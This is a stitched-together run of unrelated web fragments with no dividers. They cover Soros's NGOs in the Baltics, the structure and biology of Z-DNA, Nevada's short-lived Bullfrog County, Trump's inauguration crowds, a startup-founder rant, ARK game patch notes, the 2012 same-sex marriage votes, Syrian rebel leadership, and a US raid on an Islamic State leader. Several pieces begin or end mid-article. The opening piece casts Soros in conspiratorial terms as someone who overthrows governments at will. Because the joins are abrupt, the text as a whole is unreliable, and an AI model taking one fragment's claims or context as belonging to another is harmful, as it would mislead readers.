Aivars Lembergs, the mayor of Ventspils, Latvia and a leader of the Union of Greens and Peasants, wants Soros and his NGOs banned from Latvia. Lembergs argues that two Soros publications in Latvia – Delna and Providus – have propagandized in favor of Latvia receiving Muslim migrants. Lembergs sees the migrants and Soros’s support for them as endangering Latvian state security. The mayor believes that ‘George Soros must be outlawed in Latvia. He must be banned from entering the country’.
In neighboring Lithuania, the Labor Party has also questioned Soros’s activities in the country. The party and its parliamentary allies have asked Lithuania’s security services to investigate the ‘financial schemes and networks’ of Soros because of the threat they pose to national security. The Lithuanian parties claim that Soros groups specialize at ‘not consolidating, but dividing, society’.
It is no longer easy being a meddlesome multibillionaire who overthrows governments with the snap of a finger. Soros has not only alienated the President of Russia and the Prime Minister of the United Kingdom but now the President of the United States. Soros is also enemy number one among the leaders of China. With such an array of enemies, it is doubtful Soros will have any more political successes like Ukraine or Georgia. With all of his billions, Mr. Soros now only commands a ‘paper doll army’.
History [ edit ]
Left-handed DNA was first discovered by Robert Wells and colleagues, during their studies of a repeating polymer of inosine–cytosine.[1] They observed a "reverse" circular dichroism spectrum for such DNAs, and interpreted this (correctly) to mean that the strands wrapped around one another in a left-handed fashion. The relationship between Z-DNA and the more familiar B-DNA was indicated by the work of Pohl and Jovin,[2] who showed that the ultraviolet circular dichroism of poly(dG-dC) was nearly inverted in 4 M sodium chloride solution. The suspicion that this was the result of a conversion from B-DNA to Z-DNA was confirmed by examining the Raman spectra of these solutions and the Z-DNA crystals.[3] Subsequently, a crystal structure of "Z-DNA" was published which turned out to be the first single-crystal X-ray structure of a DNA fragment (a self-complementary DNA hexamer d(CG) 3 ). It was resolved as a left-handed double helix with two antiparallel chains that were held together by Watson–Crick base pairs (see X-ray crystallography). It was solved by Andrew Wang, Alexander Rich, and coworkers in 1979 at MIT.[4] The crystallisation of a B- to Z-DNA junction in 2005[5] provided a better understanding of the potential role Z-DNA plays in cells. Whenever a segment of Z-DNA forms, there must be B–Z junctions at its two ends, interfacing it to the B-form of DNA found in the rest of the genome.
In 2007, the RNA version of Z-DNA, Z-RNA, was described as a transformed version of an A-RNA double helix into a left-handed helix.[6] The transition from A-RNA to Z-RNA, however, was already described in 1984.[7]
Structure [ edit ]
B–Z junction bound to a Z-DNA binding domain. Note the two highlighted extruded bases. From ​.
Z-DNA is quite different from the right-handed forms. In fact, Z-DNA is often compared against B-DNA in order to illustrate the major differences. The Z-DNA helix is left-handed and has a structure that repeats every other base pair. The major and minor grooves, unlike A- and B-DNA, show little difference in width. Formation of this structure is generally unfavourable, although certain conditions can promote it; such as alternating purine–pyrimidine sequence (especially poly(dGC) 2 ), negative DNA supercoiling or high salt and some cations (all at physiological temperature, 37 °C, and pH 7.3–7.4). Z-DNA can form a junction with B-DNA (called a "B-to-Z junction box") in a structure which involves the extrusion of a base pair.[8] The Z-DNA conformation has been difficult to study because it does not exist as a stable feature of the double helix. Instead, it is a transient structure that is occasionally induced by biological activity and then quickly disappears.[9]
Predicting Z-DNA structure [ edit ]
It is possible to predict the likelihood of a DNA sequence forming a Z-DNA structure. An algorithm for predicting the propensity of DNA to flip from the B-form to the Z-form, ZHunt, was written by P. Shing Ho in 1984 at MIT.[10] This algorithm was later developed by Tracy Camp, P. Christoph Champ, Sandor Maurice, and Jeffrey M. Vargason for genome-wide mapping of Z-DNA (with Ho as the principal investigator).[11]
Pathway Formation of Z-DNA from B-DNA [ edit ]
Since the discovery and crystallization of Z-DNA in 1979, the configuration has left scientists puzzled about the pathway and mechanism from the B-DNA configuration to the Z-DNA configuration.[12] The conformational change from B-DNA to the Z-DNA structure was unknown at the atomic level, but in 2010, computer simulations conducted by Lee et. al. were able to computationally determine that the step-wise propagation of a B-to-Z transition would provide a lower energy barrier than the previously hypothesized concerted mechanism.[13] Since this was computationally proven, the pathway would still need to be tested experimentally in the lab for further confirmation and validity, in which Lee et. al. specifically states in their journal article, "The current [computational] result could be tested by Single-molecule FRET (smFRET) experiments in the future."[13] In 2018, the pathway from B-DNA to Z-DNA was experimentally proven using smFRET assays.[14] This was performed by measuring the intensity values between the donor and acceptor fluorescent dyes, also known as Fluorophores, in relation to each other as they exchange electrons, while tagged onto a DNA molecule.[15][16] The distances between the fluorophores could be used to quantitatively calculate the changes in proximity of the dyes and conformational changes in the DNA. A Z-DNA high affinity binding protein, hZαADAR1,[17] was used at varying concentrations to induce the transformation from B-DNA to Z-DNA.[14] The smFRET assays revealed a B* transition state, which formed as the binding of hZαADAR1 accumulated on the B-DNA structure and stabilized it.[14] This step occurs to avoid high junction energy, in which the B-DNA structure is allowed to undergo a conformational change to the Z-DNA structure without a major, disruptive change in energy. This result coincides with the computational results of Lee et. al. proving the mechanism to be step-wise and its purpose being that it provides a lower energy barrier for the conformational change from the B-DNA to Z-DNA configuration.[13] Contrary to the previous notion, the binding proteins do not actually stabilize the Z-DNA conformation after it is formed, but instead they actually promote the formation of the Z-DNA directly from the B* conformation, which is formed by the B-DNA structure being bound by high affinity proteins.[14]
Biological significance [ edit ]
While it is unknown whether Z-DNA is directly responsible for the formation of any biological conditions, it has been linked to both Alzheimer's disease and Systemic lupus erythematosus. To showcase this, a study was conducted on the DNA found in the hippocampus of brains that were normal, moderately affected with Alzheimer’s disease, and severely affected with Alzheimer’s disease. Through the use of Circular dichroism, this study showed the presence of Z-DNA in the DNA of those severely affected.[18] In this study it was also found that major portions of the moderately affected DNA was in the B-Z intermediate conformation. This is significant because from these findings it was concluded that the transition from B-DNA to Z-DNA is dependent on the progression of Alzheimer's Disease.[18] Additionally, Z-DNA is associated with systemic Lupus Erythematosus (SLE) through the presence of naturally occurring antibodies. Significant amounts of anti Z-DNA antibodies were found in SLE patients and were not present in other rheumatic diseases.[19] There are two types of these antibodies, through radioimmunoassay it was found that one interacts with the bases exposed on the surface of Z-DNA and denatured DNA, while the other exclusively interacts with the zig-zag backbone of only Z-DNA. Similar to that found in Alzheimer's Disease, the antibodies vary depending on the stage of the disease with maximal antibodies in the most active stages of SLE.
Z-DNA's Role in Transcription [ edit ]
Z-DNA is commonly believed to provide torsional strain relief during transcription, and it is associated with negative supercoiling.[5][20] However, while supercoiling is associated with both DNA transcription and replication, Z-DNA formation is primarily linked to the rate of transcription.[21]
A study of human chromosome 22 showed a correlation between Z-DNA forming regions and promoter regions for nuclear factor I. This suggests that transcription in some human genes may be regulated by Z-DNA formation and nuclear factor I activation.[11]
Z-DNA sequences downstream of promoter regions have been shown to stimulate transcription. The greatest increase in activity is observed when the Z-DNA sequence is placed three helical turns after the promoter sequence. Furthermore, Z-DNA is unlikely to form nucleosomes, which are often located after a Z-DNA forming sequence. Because of this property, Z-DNA is hypothesized to code for nucleosome positioning. Since the placement of nucleosomes influences the binding of transcription factors, Z-DNA is thought to regulate the rate of transcription.[22]
Developed behind the pathway of RNA polymerase through negative supercoiling, Z-DNA formed via active transcription has been shown to increase genetic instability, creating a propensity towards mutagenesis near promoters.[23] A study on Escherichia coli found that gene deletions spontaneously occur in plasmid regions containing Z-DNA-forming sequences.[24] In mammalian cells, the presence of such sequences was found to produce large genomic fragment deletions due to chromosomal double-strand breaks. Both of these genetic modifications have been linked to the gene translocations found in cancers such as leukemia and lymphoma, since breakage regions in tumor cells have been plotted around Z-DNA-forming sequences.[23] However, the smaller deletions in bacterial plasmids have been associated with replication slippage, while the larger deletions associated with mammalian cells are caused by non-homologous end-joining repair, which is known to be prone to error.[23][24]
The toxic effect of ethidium bromide (EtBr) on trypanosomas is caused by shift of their kinetoplastid DNA to Z-form. The shift is caused by intercalation of EtBr and subsequent loosening of DNA structure that leads to unwinding of DNA, shift to Z-form and inhibition of DNA replication.[25]
The Discovery of the Zα domain [ edit ]
The first domain to bind Z-DNA with high affinity was discovered in ADAR1 using an approach developed by Alan Herbert.[26][27] Crystallographic and NMR studies confirmed the biochemical findings that this domain bound Z-DNA in a non-sequence-specific manner.[28][29][30] Related domains were identified in a number of other proteins through sequence homology.[27] The identification of the Zα domain provided a tool for other crystallographic studies that lead to the characterization of Z-RNA and the B–Z junction. Biological studies suggested that the Z-DNA binding domain of ADAR1 may localize this enzyme that modifies the sequence of the newly formed RNA to sites of active transcription.[31][32]. A role for Zα, Z-DNA and Z-RNA in defense of the genome against the invasion of Alu retro-elements in humans has evolved into a mechanism for the regulation of innate immune responses to dsRNA. Mutations in Zα are causal for human interferonopathies such as the Mendelian Aicardi-Goutières Syndrome. [33].
The Consequences of Z-DNA Binding to Vaccinia E3L Protein [ edit ]
As Z-DNA has been researched more thoroughly, it has been discovered that the structure of Z-DNA can bind to Z-DNA binding proteins through london dispersion and hydrogen bonding.[34] One example of a Z-DNA binding protein is the vaccinia E3L protein, which is a product of the E3L gene and mimics a mammalian protein that binds Z-DNA.[35][36] Not only does the E3L protein have affinity to Z-DNA, it has also been found to play a role in the level of severity of virulence in mice caused by vaccinia virus, a type of poxvirus. Two critical components to the E3L protein that determine virulence are the N-terminus and the C-terminus. The N-terminus is made of up a sequence similar to that of the Zα domain, also called Adenosine deaminase z-alpha domain, while the C-terminus is composed of a double stranded RNA binding motif.[35] Through research done by Kim, Y. et al. at the Massachusetts Institute of Technology, it was shown that replacing the N-terminus of the E3L protein with a Zα domain sequence, containing 14 Z-DNA binding residues similar to E3L, had little to no effect on pathogenicity of the virus in mice.[35] In Contrast, Kim, Y. et al. also found that deleting all 83 residues of the E3L N-terminus resulted in decreased virulence. This supports their claim that the N-terminus containing the Z-DNA binding residues is necessary for virulence.[35] Overall, these findings show that the similar Z-DNA binding residues within the N-terminus of the E3L protein and the Zα domain are the most important structural factors determining virulence caused by the vaccinia virus, while amino acid residues not involved in Z-DNA binding have little to no effect. A future implication of these findings includes reducing Z-DNA binding of E3L in vaccines containing the vaccinia virus so negative reactions to the virus can be minimized in humans.[35]
Furthermore, Alexander Rich and Jin-Ah Kwon found that E3L acts as a transactivator for human IL-6, NF-AT, and p53 genes. Their results show that HeLa cells containing E3L had increased expression of human IL-6, NF-AT, and p53 genes and point mutations or deletions of certain Z-DNA binding amino acid residues decreased that expression.[34] Specifically, mutations in Tyr 48 and Pro 63 were found to reduce transactivation of the previously mentioned genes, as a result of loss of hydrogen bonding and london dispersion forces between E3L and the Z-DNA.[34] Overall, these results show that decreasing the bonds and interactions between Z-DNA and Z-DNA binding proteins decreases both virulence and gene expression, hence showing the importance of having bonds between Z-DNA and the E3L binding protein.
Comparison geometries of some DNA forms [ edit ]
Side view of A-, B-, and Z-DNA.
The helix axis of A-, B-, and Z-DNA.
Geometry attributes of A-, B, and Z-DNA[37][38][39] A-form B-form Z-form Helix sense right-handed right-handed left-handed Repeating unit 1 bp 1 bp 2 bp Rotation/bp 32.7° 34.3° 30° bp/turn 11 10 12 Inclination of bp to axis +19° −1.2° −9° Rise/bp along axis 2.3 Å (0.23 nm) 3.32 Å (0.332 nm) 3.8 Å (0.38 nm) Pitch/turn of helix 28.2 Å (2.82 nm) 33.2 Å (3.32 nm) 45.6 Å (4.56 nm) Mean propeller twist +18° +16° 0° Glycosyl angle anti anti C: anti,
G: syn Sugar pucker C3′-endo C2′-endo C: C2′-endo,
G: C3′-endo Diameter 23 Å (2.3 nm) 20 Å (2.0 nm) 18 Å (1.8 nm)
Therefore they resorted to drastic measures to stop the Federal government’s plans. So, in 1987, they formed Bullfrog County inside of Nye County where Yucca Mountain was located.
Bullfrog County,
Consisted of an uninhabited 144-square mile area around Yucca Mountain.
By creating Bullfrog County the Nevada government hoped to make funding for the Yucca Mountain site unfeasible. Previously the Federal government had planned to give money directly to Nye County, bypassing the state government.
But, since the population of Bullfrog County was zero, the federal money would therefore go straight to the Nevada treasury.
Furthermore, property tax rates in the county were set at 20 percent…the highest allowable by the state constitution.
The sky high property taxes were further meant to dissuade the Federal government from building at Yucca Mountain.
The Nevada government made no secret of why Bullfrog County was created, stipulating,
That if the repository was not built in the county, it would be dissolved and reincorporated into Nye County.
Bullfrog County is “the only county with a population of 0 known to have existed in the United States,” it had no district attorney, no sheriffs, no paved roads, no buildings and no infrastructure at all. It seemed Nevada had created the perfect stumbling block for the Feds.
Bullfrog’s county seat was located in Nevada’s state capital, Carson City, some 270 miles to the North.
Unfortunately for Nevada though, there were some problems with Bullfrog County. For, in Nevada, all criminal trials have to take place in the county where the crime occurred. AND the trials must occur before a jury of residents of that county.
Of course this could not occur in Bullfrog County, which created the odd scenario where Bullfrog County was the perfect place to commit a crime without fear of punishment.
Nye County soon saw these flaws in Bullfrog County, and sued the Nevada government who decided,
Not to defend the law in court, since in its view it was likely unconstitutional.
So, in 1989, after only two years of illustrious existence, Bullfrog County was dissolved back into Nye County, and Yucca Mountain site began building in 2002.
Trump is still widely disliked, as he was even the day after he defeated Hillary Clinton; the fact that he’s so unpopular contributed to the weak turnout at his inauguration; on Friday, reporters noted (accurately) that far fewer people attended his swearing-in than attended Barack Obama’s first inauguration; on Saturday, they noted (again, accurately) that a massive anti-Trump protest on the first day of his presidency was also better attended than his inauguration.
Trump hasn’t been able to let it go. His preoccupation with popularity hasn’t motivated him to do popular things, but it has driven him to manic outbursts about imaginary voter fraud and media conspiracies. An apparently typical digression about fraud and the popular vote during a meeting with congressional leaders this week “was greeted with silence, and Mr. Trump was prodded to change the subject by Reince Priebus, the White House chief of staff, and Senator John Cornyn, Republican of Texas,” according to The New York Times.
We run startups – we are constantly at the border of our comfort zone. Aren’t we?
No we are not. We are just better in lying - especially to ourselves
I see founders…
I see founders, super busy, super buzzed, some even close to burnout, working to their death…
The visionary founder rushing to one international conference to the next
The visual designer reworking the startpage ten minutes before launch
The coder that has no time to do customer interviews because the s3 integration took longer than expected.
The biz guy who constantly meeting potential strategic partners for long term bizdev or fundraising or “sparring”.
The guy who worked in a marketing agency who hustles like crazy to get this media cooperation/competition to scale the business, knowing exactly what kind of “persona” he targets, but has never met more than 5 of them.
The dev guy taking extra meetings with this aws scaling expert
The geeks who start a fashion startup and work their asses off on their tech space problems than on their fashion space problems.
All of them super busy… …doing what they like most.
All of them worried about stuff they are anyway best in.
I am super busy and I do uncomfortable things…
Speaking on a stage in front of a lot of people, pitching that big name VCs, getting ripped apart by feedback, approaching grumpy journalists at conferences, all-nighters coding to get the mvp ready, fly-overs to different continents last minute organized. That’s keeping us super busy but actually we love that shit.
Worrying abut the tech stack, the investment strategy and long term problems - Awesome. Talking about stuff we love disguised as getting feedback - Genius!
We even believe that we are doing the important stuff, the hard stuff, the stuff outside of our comfort zone.
Everything looks like a hammer
I chose to do [stuff], because I like doing [stuff]. And in general if you are in the position to do what you love on a daily basis you are fortunate and should appreciate that.
The problem is that very often we change our strategy based on what we like to do. Sometimes we are aware of it, sometimes not.
We are the best liars
Founders are naturally aligned to be super passionate and highly convincing. A first-time founder will either convince you that his product is awesome or he will talk you to death until you declare defeat and accept its awesomeness.
Founders are the best in shaping reality, focusing only on aspects, talking about future stuff like it has already happend. Founders are the best in lying. We are so good in lying we even lie to ourselves. Aware or not.
We are often unaware of it because our reality is subjective and skewed.
I - as a coder - strongly believe that integrating A/B testing on our landing page is the best thing to do for the company - right now - i know it with all my heart! This is valuable work! And i can explain you why!
We benchmark against things we subjectively value highly – and are not aware that our benchmark is based on our subject perception of reality.
Also nature works against us…
If we pick stuff we are good in - we have little moments of success - little positive feedback loops - telling us we are “doing a thing right” - which we confuse with “doing the right thing”.
How to detect
Simple example: If you are a tech-centric founder-team and you are trying to solve your current problem with acquiring customers by tech - e.g. Growth Hacks - your spider senses should go off. Riiiinnninnnng
In general whenever a X-guy enforces solving a problem with X everyone should step back and try to analyse it objectively. It might feel like intense stressy work but it’s actually more comfortable.
Especially we should be careful when it comes to small decisions/daily routines. Too often we drag ourselves into being busy - all day, every day - but actually just do stuff we prefer doing - often we enjoy them aware or unaware (remember the dull tax report that was boring to make but felt like a safe harbour of routine work while you should have actually worried about the fact that your product f*cking doesn’t sell?)
The two hats and your startup’s muscles
As a founder of a startup you have (among many other) two hats. The management hat and the execution hat. The execution hat is defined by your skillset and willingness to acquire new skills. The management hat comes by the fact that you need to make strategic decisions on behalf of the company. Too often people are not aware which hat they currently have to put on.
Fact is that most probably you won’t have a perfect distribution of all needed execution hats in your company. And with a lot of people with red hats at a table an argument that red is a great color might happen quite fast. Don’t trick yourself into that.
With your strategic hat on you need to try to make objective assessments about your company’s need. Also be aware of your founding teams weaknesses. Think of your founding team as one body and skills as muscles.
Muscles need to build and they need training. Any training the required muscles in the beginning is always painful and dull. We quickly believe that we can just attach that part - remember the PR agency or the Sales team you had in your business plan? Even hiring is attachment. If you body misses certain muscle regions completely you can get someone to join and help with that part. But the new guy can only show the training program needed. It’s still the whole body (founding team) that needs to move. E.g. if customer acquisition (esp. sales) is a muscle your body lacks, the whole body needs to train it until it’s an routine.
EOR - End of Rant
I see this pattern in many founder-teams: Picking daily work and making strategic decisions based on personal preference not on how critical they are to the startup. Being super busy, all day all night, doing stuff they anyway prefer doing - even if they are not aware of it and whine about how hard their work-day is.
Maybe I am a bit hyper-senstive on this? Maybe I am just crazy?
My rant is done - let yours come in! Have you experienced this pattern as well? Is this off-limits bullshit - am i hiding myself writing blogposts instead of working on my own future - frack, let me know! - via twitter or via HackerNews
High-level ARK: Survival Evolved players have the new Snow and Swamp Caves to explore with this update. Survivors will not only have to contend with high-level creatures such as Yetis, Giant Scorpions, and Giant Bats, but the environment of the caves as well. The Snow Caves are brutally cold and will require Fur Armor or Riot Armor. For example, the water is so cold it will cause damage. Additionally, it gets even colder the deeper you venture in the cave.
Meanwhile, the Swamp Cave has a noxious atmosphere that requires players to equip a Scuba Tank and Mask to survive. Ghillie Suits are also an alternative. This gives Primitive servers a chance to explore Swamp Caves as well since they don’t have access to scuba gear.
The Snow Cave rewards the Artifact of the Strong while the Swamp Cave rewards the Artifact of the Immune. Studio Wildcard has described the loot table for the caves as high-end, but players have received lowly primitive equipment too.
[Image via Studio Wildcard] The new creatures added include the charging Woolly Rhino (taming guide), the armored Dunkleosteus (taming guide), and the black pearl dropping Eurypterid. The latter two can only be found in the oceans.
The addition of what Studio Wildcard calls “Extinction Servers” has not quite arrived yet, but will go live soon. The developer was surprised to see the patch exit Microsoft certification Thursday, so the new servers will likely hit overnight or into Friday. Update: The new servers are now live.
Extinction Servers will reset once a month complete with a meteor impact to signal the reset. The meteor can be seen in the sky and will grow larger as the end counts down. These are in response to some ARK: Survival Evolved players seeking a fresh experience in-game instead of dealing with servers where established tribes dominate the island. It also keeps the developer from constantly adding new servers.
“These time-limited servers are a great way for new players to start on a level playing field and a challenging gameplay choice for those who want to see how far they can progress before the end of days! Participants will earn badges to mark their accomplishment,” Studio Wildcard explained.
The Extinction Servers are an experiment for now, so expect tweaks as Studio Wildcard gets feedback from the community. The harvest, experience, and tame rates were upped to two to three times normal not long after the new servers went live on the PC, for example.
[Image via Studio Wildcard] Several Xbox One-specific fixes are included with this ARK: Survival Evolved update. This includes teleporting players above ground if they glitch under the map to fix a known exploit, a fix for the wonky Mammoth colors, and a fix for the Spyglass in split-screen. Players that keep accidentally leaving tribes will be happy to know that issue has now been corrected. Meanwhile, there’s another 10 percent framerate performance improvement, according to the developer, and server options now have input boxes to directly enter values.
You can check the full patch notes for the ARK: Survival Evolved 733 update below.
All PC Content & Fixes Through PC v238 (such as “New Cave-Dungeons: Snow and Swamp. New Creatures: Woolly Rhino, Eurypterid etc)
All-New “Extinction Event” Servers, which reset after each month, with an in-game countdown! (these are additional brand NEW servers, not existing servers)
Improved game framerate by approximately 10% (rendering & cpu)
Fixed Bug: Focus is now NOT on the Leave Tribe button when opening the Tribe Menu, also added a Leave Tribe confirmation dialog.
If you get stuck underground, you now teleport back above ground.
Mammoth colorization fixed
Timer values that were resetting to 0 on “Reset Options” now reset to their correct value
Server administrators can now specify a list of administrator users to have access to the full set of administrator (console) commands, as on PC. Singleplayer/Non-Dedicated hosts always have this option. If you have administrator access, all PC console commands can now be inputted at the Pause Menu.
Server Options now have edit boxes for inputting direct arbritrary values.
Spyglass now works properly in splitscreen.
Elaine Thompson / AP Gov. Chris Gregoire (center) speaks as other elected officials stand behind at an election watch party for proponents of Referendum 74, which would uphold the state's new same-sex marriage law in Seattle, WA on Tuesday, Nov. 6, 2012.
Gay is closer to ordinary than ever before in America after unprecedented voter support for same-sex marriage was shown in four states. But beyond Maine, Minnesota, Maryland and Washington, Election Day 2012 produced other milestones and will likely be remembered as the day gay rights came fully out of the closet to take their place among other facets of everyday public life in mainstream America.
By winning at the polls in those four states, gay-rights supporters ended an unbroken losing streak that had dated to 1998, when Hawaii voters overwhelmingly voted to amend their constitution to let lawmakers ban gay marriage. State legislatures, notably New York’s last year, have legalized gay marriage, but never before had voters endorsed it at the ballot box.
Public opinion on gay marriage, as on most things political in today’s America, remains split. Numbers released this week by the Pew Center show that in the central Southern states, including Kentucky and Tennessee, barely a third of respondents favor gay marriage. But everywhere else voters are either more evenly divided or decidedly favorable.
(MORE: Ballot-Initiatives Roundup: What Won and What Lost)
But those numbers only hint at a broader momentum. Gay-rights supporters won other prizes as well. Across the U.S., gay candidates and those who are strongly supportive of gay rights won their races. Congresswoman Tammy Baldwin was elected to the Senate in Wisconsin (GOP vice-presidential candidate Paul Ryan’s home state) and will become the nation’s first openly gay Senator when the new Congress forms. Meanwhile, the man who won the right to replace her in the House of Representatives is gay too, and he’ll join five others who are openly gay in that body, according to the Gay & Lesbian Victory Fund, which contributes to the campaigns of gay and gay-friendly candidates. When state legislatures across the country return for business, seven of those assemblies will welcome an openly gay member for the first time. “This is what a tipping point looks like,” wrote gay-rights scholar Nan Hunter of Georgetown University Law Center on her blog, Hunter of Justice. Equally jubilant was the nation’s largest gay-rights advocacy group, the Human Rights Campaign, which was still headlining the news on its website as late as Friday: “Equality Landslide. Unprecedented mobility for equality.”
Opponents saw the results in no less urgent terms. “Evangelical Christians must see the 2012 election as a catastrophe for crucial moral concerns,” the Rev. Albert Mohler, president of the Southern Baptist Theological Seminary in Louisville, Ky., wrote on his influential blog the morning after the election. The votes in favor of gay marriage in Maine and the other three states should sound a call to action for Christian conservatives, he continued. “After 33 victories, last night brought multiple defeats … Clearly, we face a new moral landscape in America.” Archbishop Salvatore Cordileone of San Francisco, leader of the church’s opposition to gay marriage, said no vote would change the truth about marriage. “November 6 … was a disappointing day for marriage, as the effort to preserve the unique meaning of marriage in the law lost by only a narrow margin in four states, even though vastly outspent by those who promote the redefinition of marriage,” Cordileone said in a statement released by the U.S. Conference of Bishops. “The meaning of marriage, though, cannot be redefined because it lies within our very nature. No matter what policy, law or judicial decision is put into place, marriage is the only institution that unites a man and a woman to each other and to any children born of their union. It is either this, or it is nothing at all.”
(MORE: Obama’s Gay-Marriage Conundrum)
Professor Michael Klarman of Harvard Law School, whose book From the Closet to the Altar: Courts, Backlash, and the Struggle for Same-Sex Marriage was published last month, tells TIME that the election’s results should be seen as a powerful indicator of where the country is headed. “Tuesday’s results demonstrate with clarity the sorts of changes that people kind of understood were happening but didn’t have sufficient direct confirmation of,” he says. He adds that at least on some level, the votes in favor of gay marriage shouldn’t be surprising, given that public-opinion polls have shown shrinking opposition to gay marriage nationwide and that some analysts, like Nate Silver of the New York Times’ FiveThirtyEight blog, have seen even in the string of losses on the issue growing support that would eventually turn into success at the ballot box.
Klarman continues, “But the fact that things actually played out as one might have predicted now disrupts the standard narrative that whenever people actually vote on gay marriage, they reject it. Now that’s no longer true — and in a big way. In all four states voting on the issue on Tuesday, the voters rejected the anti-gay-marriage position.”
So what’s next? Klarman says activists will be pushing more ballot measures and upping the pressure on legislatures to increase the number of states where marriage is legal to the double digits. Sooner than that, the long-simmering legal challenges in federal court that seek to end legal barriers to gay marriage will be considered by the Supreme Court. The Justices are expected to meet Nov. 20 to consider which, if any, of the six federal cases challenging gay-marriage bans they will hear. Those cases include lower-court decisions seeking to overturn the Defense of Marriage Act of 1996 and the Ninth Circuit Court of Appeals decision overturning California’s 2008 constitutional amendment prohibiting gay marriage in that state.
(MORE: Viewpoint: How Gay Marriage Broke Through the Voting-Booth Barrier)
Most observers think the court will take one or more of the cases, and if that happens, Klarman says, it’s entirely possible that Tuesday’s results could be influential on the Justice most likely to be the swing vote on the issue. “It is possible that these results might influence how a judge like Justice Kennedy thinks about the issue, because we know his constitutional jurisprudence is not indifferent to the force of public opinion,” Klarman says.
Still, no one expects a Supreme Court ruling before next year. So for now, perhaps the biggest political impact of Tuesday’s results will be in the healing it represents for gay and lesbian voters who had been scarred by President Obama’s previous record on their civil rights.
That rift began four years ago, when gay-rights supporters were thunderstruck to see that in reliably blue California, the same voters Obama had pulled to the polls through a historic outreach had stayed in the booths long enough to check yes on Prop 8 — the amendment that halted gay marriage in the Golden State and eviscerated one of the most powerful gay-rights rulings ever issued by a state supreme court.
(MORE: How the Gay-Marriage Victories Are (Slowly) Transforming the Notion of Family)
A string of setbacks for gay rights followed, culminating in a vote two years ago in Maine, where activists had been convinced the state’s independent-minded voters would strike down an amendment aimed at preventing gay marriage. They were soundly disappointed.
All along, Obama kept to the sidelines on gay marriage – even keeping quiet in June of last year when he was raising money in Manhattan at the same time state lawmakers were engaging in guerrilla warfare over whether to make gay marriage legal in New York.
But Obama began applying salve to those wounds in May, when he became the first major presidential candidate (not to mention sitting President) to voice support for gay marriage. On Tuesday, elated gay voters rewarded the Obama campaign by casting their ballots for him by a 3-to-1 margin. The bandages can now be removed.
Michael A. Lindenberger is a longtime contributor to TIME.com and currently a John S. Knight journalism fellow at Stanford University.
Ensuring that our kids have enough to eat during summer months is critically important, especially during these tough economic times… Unfortunately, despite repeated efforts, the number of children participating in federally reimbursed summer nutrition programs in 2008 was the same as it was 15 years ago. (emphasis added)
At first I thought maybe he was saying how unfortunate it was that there had not been progress in reducing the number of kids receiving nutrition assistance, which would be fair enough. But the context of the quote suggests that Senator Harkin would prefer that more kids receive federal food assistance.
Gen. Salim Idriss, who was anointed last year by Secretary of State John F. Kerry as the sole conduit for aid to Syria’s rebels, was voted out of office by the 30 member Supreme Military Council at a meeting at a hotel in the southern Turkish city of Gaziantep, according to commanders who were present.
He was replaced by Abdul-Illah al-Bashir, a little-known rebel leader from the province of Quneitra who is fighting on the southern front and did not attend the meeting, the commanders said.
The move comes as the breakdown of peace talks in Geneva shifts attention back to the increasingly complicated battlefield in Syria, where the government of President Bashar al-Assad has steadily been making advances against the deeply divided rebels.
Even before the talks were suspended Saturday, Syrian opposition leader Ahmad al-Jarba, who has close ties to Saudi Arabia, had been signaling his intent to refocus on the military struggle against Assad by visiting the front line and promising rebel leaders that new weapons are on the way.
“You will get weapons, including quality weapons,” he said during a videotaped visit on Friday to Jamal Maarouf, an increasingly powerful rebel commander in the northern province of Idlib.
Several rebel commanders at Sunday’s meeting said Idriss had been replaced at the insistence of Jarba, who wanted to see a more effective leader in place ahead of the arms supply, which the Wall Street Journal reported on Saturday will include antiaircraft weapons.
The mild-mannered Idriss, who derived his authority primarily from the support he received from Western countries, was widely considered to have failed to provide meaningful leadership to the chaotic rebel movement or to have effectively channeled what little support he received to the rebels under his command.
His credibility collapsed further in December after Islamist rebels seized the warehouses he oversaw on the Syrian border, prompting a suspension of aid by his chief ally, the United States.
Idriss’s failure last month to respond to the needs of rebel units caught up in the eruption of fighting against the Islamic State of Iraq and Syria, an al-Qaeda splinter group, sealed his demise, said one of the commanders who voted him out. “When we started the fighting against ISIS, Idriss turned off his phones and couldn’t be reached,” said Ziad Haj Obaid, a commander from the eastern province of Deir al-Zour. “That was the main reason we replaced him.”
But in the meantime, behold the sad lineup of mostly one-wheeled bike frames, which we guess largely belonged to San Francisco residents.
Update: An officer in SFPD's media relations unit confirmed that there has been an arrest made in the case but the investigation is ongoing. In total, 118 bikes and about 80 rims/wheels were uncovered at the Oakland location. More details on this will be coming as the official press release comes out tomorrow.
[SFPD_Mission/Twitter]
[Mission Station]
Click on the image above to see a full-size version of the heights of Mozart, Beethoven et al in its full, towering glory.
Huge choirs, massive orchestras and great music that spans the peaks and troughs of human emotion. Their pieces may be larger than life - but how tall were the great composers themselves?
We couldn't resist a good old-fashioned line-up, comparing the smallest and the tallest of a few of our favourite composers. Rachmaninov's music is certainly at the pinnacle of Romantic piano repertoire, but how does he measure up to a composer like Chopin? And while Beethoven might have scaled new heights with his groundbreaking Symphony No. 9, his small stature is another story.
From miniature Mozart to long-legged Liszt, click on the image above to take a look at the smallest and tallest of the great composers.
The US has announced that it has killed a number of leading Islamic State (IS) militants in the past week, including the purported second-in-command.
Defence Secretary Ashton Carter said the deaths of Abdul Rahman Mustafa al-Qaduli and other members of the group's "cabinet" would hamper its operations.
He gave no details about how Qaduli, an Iraqi also known as Hajji Iman, died.
However, NBC News earlier reported he was killed during a raid by US special forces in Syria on Thursday morning.
Defence officials said the troops landed in helicopters and lay in wait as Qaduli drove past them in a car.
There was an attempt to capture Qaduli alive, but the situation escalated and the militant and three other people in the vehicle were killed, the officials added.
The US authorities had offered a reward of $7m (£5m) for Qaduli.
Media playback is unsupported on your device Media caption US Defence Secretary Ash Carter: "We are systematically eliminating Isil's cabinet"
Using an acronym for IS based on its former name, Mr Carter told a news conference in Washington on Friday: "We are systematically eliminating Isil's cabinet."
He described Qaduli as a "senior leader", who served as a finance minister and who was also responsible for "external affairs and plots".
The ethnic Turkmen was born in 1957 or 1959 in the northern Iraqi city of Mosul, which has been controlled by IS since 2014, according to the US.
He joined al-Qaeda in Iraq (AQI) - a precursor of IS - in 2004 under the leadership of the late Abu Musab al-Zarqawi, serving as his deputy and the leader in Mosul.
After his release from an Iraqi prison in early 2012, he joined IS forces in Syria.
Last year, some sources identified Qaduli as the second-in-command of IS, known as "Abu Alaa al-Afari", who was said to have taken temporary charge of IS after its overall leader Abu Bakr al-Baghdadi was allegedly injured in an air strike.
Image copyright AFP Image caption IS military commander Omar Shishani was the target of a recent US air strike in Syria
